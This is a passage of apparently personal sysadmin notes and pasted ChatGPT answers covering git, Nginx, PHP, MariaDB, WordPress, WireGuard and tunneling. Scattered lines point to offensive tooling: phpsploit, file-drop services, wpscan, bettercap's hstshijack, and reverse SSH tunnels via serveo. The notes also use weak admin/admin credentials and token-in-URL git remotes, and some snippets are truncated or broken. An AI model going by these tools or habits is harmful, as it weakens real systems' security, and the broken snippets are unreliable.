SET ID = 5
WHERE ID = 2;Step 3: Update References (if necessary)
You may also need to update references to the old user ID in other tables, such as:
wp_posts wp_comments wp_usermeta For example, to update the user ID in the wp_posts table:
sql
UPDATE wp_posts SET post_author = 5 WHERE post_author = 2; Step 4: Verify Changes After running the queries, verify that the user ID has been updated correctly and check that any related data has been updated as well.
Important Note Always create a backup of your database before making direct changes like this, as incorrect updates can lead to data inconsistencies or loss. If you're unsure, consider consulting a developer or database administrator. If you need more help, let me know!
https://www.similarweb.com/website/transfer.sh/competitors/ keep.sh bashupload.com qrgateway.com https://alternativeto.net/software/transfer-sh/ oshi.at FileTransfer.io
https://github.com/nil0x42/phpsploit ##udemy login https://www.udemy.com/join/login-popup/?next=https%3A%2F%2Fwww.udemy.com%2Flogout%2F&passwordredirect=True&skip_suggest=1
fix me out here remote: Support for password authentication was removed on August 13, 2021. remote: Please see https://docs.github.com/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication. fatal: Authentication failed for 'https://github.com/lilplucky/cats.git/'
The error message you're seeing indicates that GitHub no longer supports password-based authentication when using HTTPS to interact with repositories. To fix this issue, you'll need to use one of the recommended authentication methods, such as:
Using a Personal Access Token (PAT)
SSH Authentication
Method 1: Using a Personal Access Token (PAT)
Generate a Personal Access Token:
Go to GitHub Personal Access Tokens page.
Click on "Generate new token".
Give it a note (for reference) and select the appropriate scopes (e.g., repo for repository access).
Generate the token and copy it somewhere safe (you won't be able to see it again).
Update the Remote URL:
Use the token in place of your password:
git remote set-url origin https://<YOUR_GITHUB_USERNAME>:<YOUR_PERSONAL_ACCESS_TOKEN>@github.com/lilplucky/cats.gitPush or Pull with your Token:
Now, when you git pull or git push, it will use the token instead of a password:
git pull origin main
git push origin maingit init
echo "# Books" >> README.md
git add *
git commit -m "Commited To Book0fProblems"
git remote add origin https://github.com/lilplucky/Book0fProblems.git
git remote set-url origin https://lilplucky:<YOUR_PERSONAL_ACCESS_TOKEN>@github.com/lilplucky/B00kOfProblems.git
git branch -M development
git push -u origin development
To commit changes with a new username after setting the Git config, follow these steps:
- Set the New Username and Email
Update the username and email in your Git configuration:
git config --global user.name "NewUsername"
git config --global user.email "newemail@example.com"The --global flag applies these settings globally across all repositories.
If you only want to change it for the current repository, omit the --global flag:
git config user.name "NewUsername"
git config user.email "newemail@example.com"- Check the Configuration
Confirm the new username and email were updated:
git config --listor
git config user.name
git config user.email- Recommit with the New Username
If you've already committed but want the new username to appear, you need to amend the commit or reset and recommit:
Option 1: Amend the Last Commit
To modify the author information on your last commit:
git commit --amend --reset-author --no-edit
--reset-author updates the commit with the new username and email.
--no-edit keeps the commit message unchanged.Option 2: Undo and Recommit
If you want to rewrite your commits from scratch:
Unstage Changes
git reset HEAD~1
Recommit Changesgit add .
git commit -m "Your commit message"- Push the Changes
After recommitting, push your changes:
git push --force
Use --force only if the commit history was rewritten (e.g., with --amend or reset).- Verify on GitHub
Check the commit history on GitHub (or your Git server) to confirm the username and email appear correctly.
sudo gem install wpscan
systemctl is-active systemctl status nginx --no-pager systemctl reload nginx -h nginx -T
unlink default
└──╼[ZERODIUM]#cat /etc/nginx/conf.d/test.local.conf server { listen 80; root /var/www/test.local; }└──╼[ZERODIUM]#cat /etc/nginx/conf.d/test.local.conf server { listen 80; root /var/www/test.local; }
find /var/www/test.local/ -type d -exec chmod 744 {} \;
15 location /images/ { 16 # Allow the contents of the /image folder to be listed 17 autoindex on; 18 access_log /var/log/nginx/test.local.images.access.log; 19 error_log /var/log/nginx/test.local.images.error.log; 20 } 21
for i in {1..10};do curl localhost/images/ >/dev/null;done
lsof -P -n -i :80 -i :443 |grep LISTEN
netstat -plan |grep nginx
apt install php-fpm php-mysql
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
fastcgi_intercept_errors on;
}
apt install mariadb-server mariadb-client
systemctl status mysqld
MariaDB [(none)]> create database if not exists appointments;
Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> create user if not exists admin;
Query OK, 0 rows affected (0.019 sec)
MariaDB [(none)]> grant all on appointments.* to 'admin'@localhost identified by 'admin';
Query OK, 0 rows affected (0.015 sec)
systemctl status nginx.service mysqld.service php8.2-fpm.service |grep -E "(Loaded|Active)"
mysql -u admin -padmin appointments < appointments/appointment_database.sql
can i connect to my linux from another computer remotely to graphical interface using rdektop or teach me how to configure my linux to access from another place using gui
ChatGPT said:
ChatGPT
Yes, you can access your Linux system's graphical interface from another computer using RDP (Remote Desktop Protocol). The typical tool for connecting to Linux via RDP is xrdp, which lets you use clients like
Remote Desktop Connection (on Windows) or rdesktop (Linux) to access the GUI remotely.
Here's a step-by-step guide to set it up:
- Install XRDP on Your Linux System
Open a terminal on your Linux machine.
Update your package list:
sudo apt update
Install xrdp and an associated desktop environment (like xfce4 if you don’t already have one):
bash
sudo apt install xrdp xfce4 xfce4-goodies -y- Configure XRDP
Start and enable xrdp service to launch at boot:
sudo systemctl enable xrdp
sudo systemctl start xrdpSet xfce4 as the default session for xrdp. Edit the file /etc/xrdp/startwm.sh:
```bash
sudo nano /etc/xrdp/startwm.sh
Find the lines near the bottom with startwm.sh and replace the last two lines with:
bash
startxfce4
Save the file (Ctrl + O) and exit (Ctrl + X).
- Allow Port 3389 for RDP on Firewall
If you have a firewall (like ufw), open port 3389:
bash
sudo ufw allow 3389
- Find Your IP Address
Run the command to get your Linux machine’s IP address:
hostname -I- Connect to Your Linux GUI from Another Computer
Windows: Open Remote Desktop Connection, enter the Linux machine's IP, and connect.
Linux: Use rdesktop or another RDP client.
- Secure Remote Access (Optional but Recommended)
For remote access outside of your local network, consider using a VPN or SSH tunneling to connect securely.
Once set up, you can easily connect to your Linux GUI remotely and access all the applications and files on your system. Let me know if you'd like additional configuration or troubleshooting tips!
ChatGPT said:
ChatGPT
In MySQL, table names and database names are case-sensitive on Linux by default because Linux uses a case-sensitive file system. To make MySQL case-insensitive for tables and databases, you can modify the lower_case_table_names setting.
Here’s how to disable case sensitivity for MySQL on Linux:
- Edit the MySQL Configuration File
Open your MySQL configuration file in a text editor. The location of this file can vary, but it’s often found at /etc/mysql/my.cnf or /etc/my.cnf:
sudo nano /etc/mysql/my.cnfAdd or modify the following line under the [mysqld] section:
ini
[mysqld]
lower_case_table_names=1
Setting lower_case_table_names to 1 makes MySQL treat table names as case-insensitive. Here’s what each setting does:
0: Case-sensitive (default on Linux).
1: Case-insensitive for table names, but stores them in lowercase (recommended for cross-platform compatibility).
2: Case-insensitive for tables, but stores them in the original case (not supported on Linux).
- Restart MySQL Service
After modifying the configuration, restart the MySQL service to apply the changes:
sudo systemctl restart mysql- Check if Changes Took Effect
You can confirm the setting change by logging into MySQL and checking the variable:
mysql -u root -p
SHOW VARIABLES LIKE 'lower_case_table_names';You should see lower_case_table_names = 1 as the result, indicating that tables and databases are now case-insensitive.
Important Notes
Data Loss Warning: It’s best to set this option on a fresh database installation because changing this setting after tables have been created can cause inconsistencies or data loss.
Cross-platform compatibility: Using lower_case_table_names=1 is recommended if you plan to move your databases between Windows and Linux systems.
npm ERR! code ENOTEMPTY
npm ERR! syscall rename
npm ERR! path /opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/node_modules/browserslist
npm ERR! dest /opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/node_modules/.browserslist-SjSRhV6S
npm ERR! errno -39
npm ERR! ENOTEMPTY: directory not empty, rename '/opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/node_modules/browserslist' -> '/opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/node_modules/.browserslist-SjSRhV6S'
npm ERR! A complete log of this run can be found in: /root/.npm/_logs/2024-10-29T15_27_35_425Z-debug-0.log
ChatGPT said:
ChatGPT
The ENOTEMPTY error in your npm installation is due to a problem with renaming a directory during the install or update process. This issue typically occurs when npm tries to replace a directory but finds that the target is not empty. Here are some steps you can follow to resolve it:
- Delete the node_modules Folder and package-lock.json
Try removing the node_modules directory and package-lock.json file to clear any partially installed or locked files:
rm -rf /opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/node_modules
rm /opt/Electronics-eCommerce-Shop-With-Admin-Dashboard-NextJS-NodeJS/package-lock.json- Clear the NPM Cache
Sometimes npm cache can cause issues. Clear it to ensure a clean install:
npm cache clean --force- Reinstall Dependencies
Now that node_modules and package-lock.json are removed, reinstall your dependencies:
npm install- Run NPM as a Superuser (If Needed)
If you’re running npm as root or in a protected directory, you may need to use sudo:
sudo npm install- (Optional) Update NPM
If the problem persists, updating npm might help:
npm install -g npmAfter following these steps, try running the command again. If the issue continues, let me know so we can troubleshoot further!
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile
eval "$(/opt/homebrew/bin/brew shellenv)"
If the phpmyadmin.conf file is missing, phpMyAdmin might be installed in a different directory, or it might not be configured in your web server automatically. Here’s how you can set it up manually based on your web server.
For Apache
If you’re using Apache, you can manually create a configuration file for phpMyAdmin.
Create the phpMyAdmin Configuration File
bash
sudo nano /etc/apache2/conf-available/phpmyadmin.conf
Add Configuration for phpMyAdmin
Add the following content to the file:
Alias /phpmyadmin /usr/share/phpmyadmin
<Directory /usr/share/phpmyadmin>
Options FollowSymLinks
DirectoryIndex index.php
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
</Directory>
<Directory /usr/share/phpmyadmin/setup>
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
</Directory>This configuration sets up an alias for phpmyadmin and grants access.
Enable the phpMyAdmin Configuration
After saving the file, enable the configuration:
bash
sudo a2enconf phpmyadmin
Restart Apache
sudo systemctl restart apache2For Nginx
If you’re using Nginx and phpMyAdmin doesn’t have a configuration file, you’ll need to add a location block in your main Nginx configuration.
Edit the Nginx Configuration
Open the main Nginx configuration file:
sudo nano /etc/nginx/sites-available/defaultAdd a Location Block for phpMyAdmin
Add the following inside the server block:
location /phpmyadmin {
root /usr/share/; # Or wherever phpMyAdmin is installed
index index.php index.html index.htm;
location ~ ^/phpmyadmin/(.+\.php)$ {
try_files $uri =404;
root /usr/share/;
fastcgi_pass unix:/var/run/php/phpX.Y-fpm.sock; # Replace X.Y with your PHP version
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}Restart Nginx
After saving the configuration file, restart Nginx:
sudo systemctl restart nginx
Verify phpMyAdmin Installation Path
Ensure phpMyAdmin is actually installed at /usr/share/phpmyadmin. If not, locate it with:sudo find / -name phpmyadmin
Use the correct path wherever /usr/share/phpmyadmin appears in the above configurations. This should allow you to access phpMyAdmin from a browser.
find /var/www/html -name "*.php" -exec grep -H "phpstore" {} \;how to copy file remotely using scp how do i do it
ChatGPT said:
ChatGPT
You can use scp (secure copy) to copy files between your local machine and a remote server securely over SSH. Here’s how to do it:
Syntax of scp
The basic syntax for using scp is:
bash
scp [options] source_file user@remote_host:destination_path
- Copying a File from Local to Remote
To copy a file from your local machine to a remote server, use:
bash
scp /path/to/local/file user@remote_host:/path/to/remote/directory
Example:
bash
scp /home/user/file.txt username@192.168.1.10:/home/username/
- Copying a File from Remote to Local
To copy a file from a remote server to your local machine, use:
bash
scp user@remote_host:/path/to/remote/file /path/to/local/directory
Example:
bash
scp username@192.168.1.10:/home/username/file.txt /home/user/
- Copying a Directory Recursively
To copy an entire directory from local to remote (or vice versa), use the -r option:
Local to Remote:
scp -r /path/to/local/directory user@remote_host:/path/to/remote/directoryRemote to Local:
scp -r user@remote_host:/path/to/remote/directory /path/to/local/directory- Common Options
-r: Recursively copy entire directories.
-P port: Specify a port number if the SSH server is running on a non-standard port (22).
-i identity_file: Specify the private key file to use for authentication.
Example with Port
If your SSH server is running on port 2222, you would do:
scp -P 2222 /home/user/file.txt username@192.168.1.10:/home/username/Summary
Ensure that you have SSH access to the remote server and that scp is installed on both the local and remote machines.
Replace /path/to/local/file, user, remote_host, and /path/to/remote/directory with your actual paths and credentials.
root@ip-172-31-26-95:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
ServerName nairobiskates.com
ServerAlias www.nairobiskates.com
DocumentRoot /var/www/html
# Redirect to HTTPS
RewriteEngine on
RewriteCond %{SERVER_NAME} =nairobiskates.com [OR]
RewriteCond %{SERVER_NAME} =www.nairobiskates.com
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>
<VirtualHost *:80>
ServerName 3.69.115.96
DocumentRoot /var/www/html
# Redirect IP access to the domain
Redirect permanent / http://nairobiskates.com/
</VirtualHost>
root@ip-172-31-26-95:/etc/apache2/sites-available#
To clone just the hstshijack folder from the GitHub repository, you'll need to use Git’s sparse-checkout feature. Here’s how to do it efficiently, keeping only the necessary depth:
Initialize the repository without downloading everything:
git init
git remote add origin https://github.com/bettercap/caplets.gitEnable sparse checkout and specify the path you want:
git config core.sparseCheckout true
echo "hstshijack" >> .git/info/sparse-checkoutPull the files with a shallow clone for minimal depth (e.g., depth of 1):
git pull --depth=1 origin masterThis setup clones only the specified folder (hstshijack) with minimal history, saving timll and and space. Let me know if you need more details on adjusting depth or paths!
sudo apt update
sudo apt install wireguard
How to Install and Use WireGuard
Below is a guide to installing and configuring WireGuard on Linux, but steps for other platforms are also mentioned briefly.
- Installing WireGuard On Linux (Debian/Ubuntu)
sudo apt update
Install WireGuard:
bash
sudo apt install wireguard- Generate Key Pairs
WireGuard requires a key pair for each device.
Generate a private key:
wg genkey > privatekey
Generate a public key from the private key:
bash
cat privatekey | wg pubkey > publickey
Save or note the private and public keys for configuration.- Configuring WireGuard
Server Configuration
Create a WireGuard interface configuration file (e.g., /etc/wireguard/wg0.conf):
sudo nano /etc/wireguard/wg0.conf
Add the following configuration:
ini
[Interface]
Address = 10.0.0.1/24 # Internal IP for the server
PrivateKey = SERVER_PRIVATE_KEY # Replace with your server's private key
ListenPort = 51820 # Default WireGuard port
[Peer]
PublicKey = CLIENT_PUBLIC_KEY # Replace with the client's public key
AllowedIPs = 10.0.0.2/32 # Internal IP for the clientClient Configuration
On the client, create a WireGuard configuration file (e.g., /etc/wireguard/wg0.conf):
sudo nano /etc/wireguard/wg0.conf
Add the following configuration:
ini
[Interface]
Address = 10.0.0.2/24 # Internal IP for the client
PrivateKey = CLIENT_PRIVATE_KEY # Replace with the client's private key
[Peer]
PublicKey = SERVER_PUBLIC_KEY # Replace with the server's public key
Endpoint = SERVER_IP:51820 # Replace with the server's public IP and port
AllowedIPs = 0.0.0.0/0 # Route all traffic through the VPN
PersistentKeepalive = 25 # Keep the connection alive
- Start the WireGuard Interface On both the server and client, start the WireGuard interface:
sudo wg-quick up wg0
To stop the interface:sudo wg-quick down wg0- Verify the Connection
Check the status of the WireGuard interface:
sudo wg
Test connectivity:
Ping the server from the client:
bash
ping 10.0.0.1
Or the client from the server:
bash
ping 10.0.0.2- Set WireGuard to Start Automatically Enable the service to start on boot:
sudo systemctl enable wg-quick@wg0- Check Server NAT Configuration
Ensure that the server is configured to allow forwarding and perform NAT (Network Address Translation) for traffic from the VPN.
Enable IP Forwarding
Check if IP forwarding is enabled:
sysctl net.ipv4.ip_forwardIf it returns 0, enable it:
bash
sudo sysctl -w net.ipv4.ip_forward=1
Make it persistent across reboots by editing /etc/sysctl.conf:
sudo nano /etc/sysctl.conf
Add or uncomment the line:
ini
net.ipv4.ip_forward = 1Apply changes:
sudo sysctl -pConfigure NAT with iptables
Add an iptables rule to masquerade traffic:
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Replace eth0 with your server's internet-facing interface (you can find it with ip a).Make the iptables rule persistent across reboots:
sudo apt install iptables-persistent
sudo netfilter-persistent save- Check Client Configuration
Ensure your client configuration routes all traffic through the VPN:
AllowedIPs: In the client's WireGuard configuration (wg0.conf or equivalent), ensure the [Peer] section includes:
ini
This routes all traffic through the VPN.
DNS: Add a DNS server in the [Interface] section of the client configuration:
ini
DNS = 8.8.8.8
Replace 8.8.8.8 with your preferred DNS (e.g., 1.1.1.1 for Cloudflare).
- Restart WireGuard
After making changes, restart the WireGuard service on both the server and the client:
Server:
sudo wg-quick down wg0
sudo wg-quick up wg0Client:
sudo wg-quick down wg0
sudo wg-quick up wg0- Test Connectivity
On the client, check if you can ping the internet:
ping 8.8.8.8If this works but ping google.com doesn't, the issue is DNS.
If DNS isn't working, try flushing the DNS cache on the client:
Linux:
sudo systemd-resolve --flush-caches
macOS:
bash
sudo dscacheutil -flushcache
Windows:
cmd
ipconfig /flushdns- Verify with wg Command On the server, verify the WireGuard connection:
sudo wg
Ensure that the client’s public key and IP are listed and that packets are being transmitted and received.install other libraries for make
In file included from src/xsct.c:7:
src/xsct.h:10:10: fatal error: X11/extensions/Xrandr.h: No such file or directory
10 | #include <X11/extensions/Xrandr.h>
| ^~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.
make: *** [Makefile:15: xsct] Error 1
sudo apt install libxrandr-dev
Good To Go
- Ngrok Overview: Ngrok is a popular service for exposing local servers to the internet, providing both HTTP and TCP tunneling. Features: Supports secure tunnels for HTTP, HTTPS, and TCP connections. It provides a public URL that forwards traffic to your local machine. Website: https://ngrok.com/ Usage: bash Copy code
ngrok tcp 22 # For SSH tunnel- Serveo
Overview: Serveo provides a simple, SSH-based tunnel without needing any installation. You can create a reverse SSH tunnel directly from the command line. Features: No sign-up required; just use SSH to create the tunnel. Website: https://serveo.net/ Usage: bash Copy code ssh -R 80:localhost:22 serveo.net # For SSH tunnel 3. LocalTunnel Overview: LocalTunnel allows you to expose your localhost to the public internet via a subdomain. Features: Supports HTTP/HTTPS tunnels, provides a random subdomain by default. Website: https://localtunnel.github.io/www/ Usage: bash Copy code npx localtunnel --port 22 # For SSH tunnel 4. Telebit Overview: Telebit offers free, secure tunnels to your local machine, and supports TCP and HTTP tunnels. It's especially good for IoT and development environments. Features: Supports both TCP and HTTP tunneling; provides encryption. Website: https://telebit.io/ Usage: bash Copy code telebit tcp 22 # For SSH tunnel 5. FRP (Fast Reverse Proxy) Overview: FRP is an open-source, self-hosted alternative for reverse tunneling. It allows you to expose a local network to the internet. Features: Self-hosted solution for private networks; more control but requires server setup. Website: https://github.com/fatedier/frp Usage: Run frps on your public server. Run frpc on your local machine. 6. Tailscale Overview: Tailscale uses WireGuard to create secure mesh networks between your devices. It allows remote access to services and devices behind NATs and firewalls. Features: Secure, peer-to-peer connection; no need for port forwarding. Website: https://tailscale.com/ Usage: After installation, you can directly access your devices by connecting them via Tailscale's VPN. 7. PageKite Overview: PageKite is a service that lets you expose your local servers (HTTP/SSH) to the world. Features: Focuses on HTTP and SSH access; can be self-hosted or used as a service. Website: https://pagekite.net/ Usage: bash Copy code pagekite 22 yourdomain.pagekite.me # For SSH tunnel 8. Dynamic DNS (DDNS) Services Overview: DDNS services like DuckDNS or No-IP allow you to assign a static hostname to your dynamic IP address, which can be used to access your home server remotely. Features: Good for long-term access and automation; requires router configuration for port forwarding. DuckDNS: https://www.duckdns.org/ No-IP: https://www.noip.com/ 9. SSHuttle Overview: SSHuttle is a transparent proxy server that works over SSH, making it a versatile and lightweight option for remote access. Features: Works by creating a VPN-like environment, tunneling all traffic through SSH. Website: https://github.com/sshuttle/sshuttle Usage: bash Copy code sshuttle -r user@host 0.0.0.0/0 # Tunnels all traffic via SSH 10. Remote.it Overview: Remote.it is a service that allows you to securely connect to your devices over the internet, without needing a static IP or port forwarding. Features: Provides secure remote access; no need to open ports or set up firewalls. Website: https://remote.it/ Summary of Alternatives For Quick Use: Ngrok, Serveo, LocalTunnel. For Long-Term Use or Custom Setup: FRP, Tailscale, PageKite. For Self-Hosting or Full Control: FRP, DuckDNS/No-IP with SSH, SSHuttle. Each service has its own pros and cons based on security, performance, and ease of use. You can select one based on your needs (e.g., quick SSH access or long-term stable access with custom configurations). ssh -R 80:localhost:3000 serveo.net
sudo apt install certbot python3-certbot-nginx
certbot install --cert-name www.nairobiskates.com-0001
Steps to Enable SSL Generate an SSL Certificate:
Use Let's Encrypt (free) or purchase a certificate from a trusted CA. For Let's Encrypt, install the certbot tool and use: bash Copy code sudo certbot --nginx -d your_domain Test Your Configuration: Run the following command to ensure the syntax is valid:
bash Copy code sudo nginx -t Reload Nginx: Apply the changes by reloading the Nginx service:
bash Copy code sudo systemctl reload nginx Verify HTTPS:
Access your site using https://your_domain and confirm SSL is active. Use tools like SSL Labs to test your SSL setup.
Exactly! Here's a clear step-by-step breakdown of what to do if your domain name is nairobiskates.com and you want to serve it with Nginx:
- Update Your Nginx Configuration In your Nginx config, update the server_name directive like this:
nginx Copy code server { listen 80; server_name nairobiskates.com www.nairobiskates.com;
# Redirect HTTP to HTTPS
return 301 https://$host$request_uri;
}
server { listen 443 ssl; server_name nairobiskates.com www.nairobiskates.com;
root /var/www/html;
index index.php index.html index.htm;
# SSL Configuration (replace with your actual certificate paths)
ssl_certificate /etc/ssl/certs/nairobiskates.com.crt;
ssl_certificate_key /etc/ssl/private/nairobiskates.com.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
} 2. Configure Your Domain Name You need to configure your domain name to point to your server. Here's how:
Step A: Get Your Server's IP Address Find your server's public IP address. You can use this command: bash Copy code curl ifconfig.me It will return an IP like 203.0.113.123. Step B: Log in to Your Domain Registrar Go to your domain provider (e.g., GoDaddy, Namecheap, Google Domains, etc.) and log in to your account. Step C: Update DNS Records Locate the DNS settings or Manage DNS section for your domain. Add the following records: A Record: Host: @ Value: Your server's IP address (e.g., 203.0.113.123) TTL: Set to the lowest possible value (e.g., 1 hour). CNAME Record: Host: www Value: nairobiskates.com TTL: Same as above. 3. Obtain an SSL Certificate To enable HTTPS, you need an SSL certificate. If you want to use Let's Encrypt, follow these steps:
Install Certbot: For most systems:
bash Copy code sudo apt install certbot python3-certbot-nginx Generate SSL Certificate: Run the following command:
bash Copy code sudo certbot --nginx -d nairobiskates.com -d www.nairobiskates.com This will:
Automatically fetch and install an SSL certificate. Configure Nginx to redirect HTTP to HTTPS. 4. Restart Nginx After making all these changes, restart Nginx to apply the configuration:
bash Copy code sudo systemctl restart nginx 5. Verify Your Setup Open your browser and visit:
http://nairobiskates.com → Should redirect to https://nairobiskates.com. http://www.nairobiskates.com → Should redirect to https://www.nairobiskates.com. Use tools like What's My DNS to verify DNS propagation.
Test your SSL setup with SSL Labs.
mysqldump -u username -p database_name > /path/to/destination/database.sql
sudo apt update sudo apt install -y software-properties-common sudo add-apt-repository 'deb https://mega.nz/linux/repo/xUbuntu_22.04/ ./' apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1A664B787094A482 add-apt-repository 'deb https://mega.nz/linux/repo/xUbuntu_22.04/ ./' wget -qO - https://mega.nz/keys/MEGA_signing.key | sudo apt-key add - wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu70_70.1-2_amd64.deb dpkg -i libicu70_70.1-2_amd64.deb apt --fix-broken install apt install megacmd apt remove megatools https://mega.io/cmd#download wget https://mega.nz/linux/repo/Debian_12/amd64/megacmd-Debian_12_amd64.deb && sudo apt install "$PWD/megacmd-Debian_12_amd64.deb"
sudo nano /etc/php/8.3/fpm/php.ini upload_max_filesize = 64M post_max_size = 64M max_execution_time = 300 sudo systemctl restart php8.3-fpm Step 2: Update Nginx Configuration Edit Your Nginx Configuration File: Open the Nginx configuration file for your WordPress site:
bash Copy code sudo nano /etc/nginx/sites-available/your-site.conf Add or Update the client_max_body_size Directive: Inside the server block, add or update:
nginx Copy code client_max_body_size 64M; Replace 64M with a value larger than your theme file size.
Test Nginx Configuration: Verify the configuration is correct:
bash Copy code sudo nginx -t Reload Nginx: Apply the changes by reloading Nginx:
bash Copy code sudo systemctl reload nginx Step 3: Update WordPress Settings If you're still having issues after the above steps, WordPress might still limit uploads via its own settings. Check the wp-config.php file:
Edit wp-config.php:
bash Copy code sudo nano /var/www/html/wp-config.php Add the Following Line:
php Copy code @ini_set( 'upload_max_size' , '64M' ); @ini_set( 'post_max_size', '64M'); @ini_set( 'max_execution_time', '300' ); Step 4: Retry Theme Installation Go back to your WordPress admin dashboard and try uploading the theme again.
If the problem persists, let me know!
If you’re still encountering the 413 Request Entity Too Large error, let’s troubleshoot step-by-step to ensure nothing is missed:
- Double-Check PHP Configuration Verify if PHP is correctly configured to allow larger file uploads.
Check the currently active PHP configuration:
bash Copy code php -i | grep -E "upload_max_filesize|post_max_size" Ensure the output shows values larger than your file size (e.g., 64M).
If the settings are incorrect, re-edit the php.ini file:
bash Copy code sudo nano /etc/php/8.3/fpm/php.ini Modify:
ini Copy code upload_max_filesize = 128M post_max_size = 128M Restart PHP-FPM:
bash Copy code sudo systemctl restart php8.3-fpm Verify the correct php.ini is loaded for Nginx. Check the PHP info page:
Create a file in /var/www/html/: bash Copy code echo "" | sudo tee /var/www/html/info.php Visit http://your-site.com/info.php and look for the Loaded Configuration File path. Ensure you edited the correct php.ini file. 2. Double-Check Nginx Configuration Verify the client_max_body_size directive is applied.
Open your Nginx site configuration:
bash Copy code sudo nano /etc/nginx/sites-available/your-site.conf Ensure the directive is in the server block:
nginx Copy code server { client_max_body_size 128M; } Reload Nginx:
bash Copy code sudo nginx -t sudo systemctl reload nginx Check if the directive is correctly applied:
bash Copy code curl -I -X POST --data-binary @testfile.zip http://your-site.com Replace testfile.zip with a file larger than your previous upload limit.
- Increase FastCGI Buffer Size (Optional) If Nginx is still blocking large uploads, increase the FastCGI buffer size.
Edit your Nginx configuration:
bash Copy code sudo nano /etc/nginx/nginx.conf Add these directives inside the http block:
nginx Copy code http { fastcgi_buffers 8 16k; fastcgi_buffer_size 32k; } Reload Nginx:
bash Copy code sudo nginx -t sudo systemctl reload nginx 4. Permissions Ensure the upload directory in WordPress has the correct permissions:
bash Copy code sudo chown -R www-data:www-data /var/www/html/wp-content/uploads sudo chmod -R 755 /var/www/html/wp-content/uploads 5. Debug Logs If the issue persists:
Check the Nginx error logs:
bash Copy code sudo tail -f /var/log/nginx/error.log Check PHP-FPM logs:
bash Copy code sudo tail -f /var/log/php8.3-fpm.log 6. Test Again Retry uploading the theme in WordPress. If the issue persists, share the exact error log, and I'll guide you further!
It seems there’s a misunderstanding in how the curl command is being used. Let me clarify and provide the correct command for testing the 413 Request Entity Too Large issue:
Correct Command for Testing File Upload with curl To properly simulate a file upload, we need to send a POST request with the file, not a HEAD or improperly formed request. Here's how you can do it:
Place your test file (e.g., testfile.zip) in the current directory or specify its full path. Run the following curl command: bash Copy code curl -X POST --data-binary @testfile.zip http://nairobiskates.com This will send the file as the request payload to your server.
Expected Results If Nginx blocks the request due to size, you’ll receive a 413 Request Entity Too Large error. If the request goes through but your WordPress still fails to process it, then the issue lies elsewhere (e.g., WordPress PHP settings or permissions). Troubleshooting Steps if Curl Still Fails Ensure the DNS is Resolving Properly
It seems there was a DNS resolution issue in your previous command (Could not resolve host). Make sure the domain is properly pointing to your server: bash Copy code ping nairobiskates.com You should see a response from your server’s IP. Test on an Alternate Port or Direct IP If you suspect DNS or Cloudflare interference, bypass it by testing directly with your server’s IP:
bash Copy code curl -X POST --data-binary @testfile.zip http://YOUR_SERVER_IP Enable Debugging Output To see detailed request and response information:
bash Copy code curl -v -X POST --data-binary @testfile.zip http://nairobiskates.com Let me know what happens when you test again!
- NGINX Configuration Ensure your NGINX configuration matches Cloudflare’s upload limits. If your server's client_max_body_size is too low, it might still block uploads. Solution:
Check both Cloudflare and NGINX settings: bash Copy code sudo nano /etc/nginx/nginx.conf Add or adjust: nginx Copy code client_max_body_size 100M; Restart NGINX: bash Copy code sudo systemctl restart nginx 6. Cloudflare Cache or Headers Cloudflare may cache errors or cause issues with misconfigured headers. Solution:
Purge the Cloudflare cache. Verify your NGINX headers configuration is correct. If you’re still facing issues after these steps, let me know so we can dig deeper into the specifics of your setup!
- NGINX Issue Even if the file size is small, NGINX might still block the request if its configurations are not aligned with your upload endpoint.
Steps to Fix: Set client_max_body_size: Edit your NGINX configuration:
bash Copy code sudo nano /etc/nginx/sites-available/nairobiskates.com Add or update the following in the relevant server block:
nginx Copy code client_max_body_size 10M; Save and restart NGINX:
bash Copy code sudo systemctl restart nginx Test the Endpoint:
Use curl to confirm: bash Copy code curl -F "file=@testfile.zip" http://nairobiskates.com/upload-endpoint 3. Check WordPress If this issue occurs while uploading via WordPress, it might be due to PHP or WordPress settings.
Steps to Fix: Increase PHP Limits:
Edit your php.ini file:
